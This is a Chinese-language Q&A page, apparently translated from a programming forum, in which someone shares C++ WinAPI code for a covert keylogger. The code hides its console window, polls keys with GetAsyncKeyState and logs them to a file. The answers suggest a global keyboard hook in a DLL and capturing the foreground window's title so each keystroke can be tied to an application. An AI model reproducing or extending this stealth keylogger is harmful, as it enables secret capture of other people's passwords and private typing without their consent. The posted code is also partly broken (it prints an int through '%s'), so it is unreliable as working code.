c++简单的键盘记录程序
C++ simple keylogger
我正在尝试使用WinAPI在c++中编写一个简单的键盘记录器。是否有一种方法可以让用户在哪个应用程序中输入捕获的按键?下面是目前为止的代码:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
你需要的是一个全局键盘钩子
全局钩子监视同一桌面中所有线程的消息调用线程。特定于线程的钩子只监视消息单独的线程。类中调用全局钩子子程与调用线程在同一桌面中的任何应用程序的上下文,所以这个过程必须在一个单独的DLL模块中。一个表钩子子程只能在关联线程的上下文中调用。如果应用程序为自己的钩子子程安装钩子子程线程中,钩子子程可以与钩子子程在同一个模块中其余的应用程序代码或DLL中。如果应用程序为不同应用程序的线程安装钩子子程过程必须在DLL中。有关信息,请参见动态链接库。
既然问题是"是否有一种方法可以让用户在哪个应用程序中输入捕获的按键?"我会说使用HWND WINAPI GetForegroundWindow(void);
例如:char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
在cWindow中,您将获得用户正在键入的窗口的标题。
相关文章:
- 为什么Qt Creator的应用程序输出不能从spdlog记录器打印
- 逐行跟踪和记录 c++ 程序的执行
- 使用完美记录进行分析Linux应用程序
- 在不存在的记录上调用 remove 会使程序崩溃
- 在后台记录 Eclipse IDE 调用的应用程序列表
- CUDA 程序不测量执行时间:cuda事件记录
- 尝试将数据从记录读取到程序(C++)时难以捉摸的错误
- 多线程应用程序中的独立日志记录
- 运行此程序时的垃圾数据(学生记录程序)
- 如何使用doxygen记录应用程序源文件
- 尝试在hash_map中查找记录时应用程序崩溃
- 无法从我创建的 c 二进制程序中删除记录
- 程序不计算记录数
- c++ 从文件中读取双倍,但如果程序遇到字符串,则记录
- 流记录程序VLC
- 这是C ++程序领域中最流行的开源日志记录软件/程序
- 制作一个简单的c++键盘记录程序
- 如何制作键盘记录程序
- c++:学生记录程序
- c++简单的键盘记录程序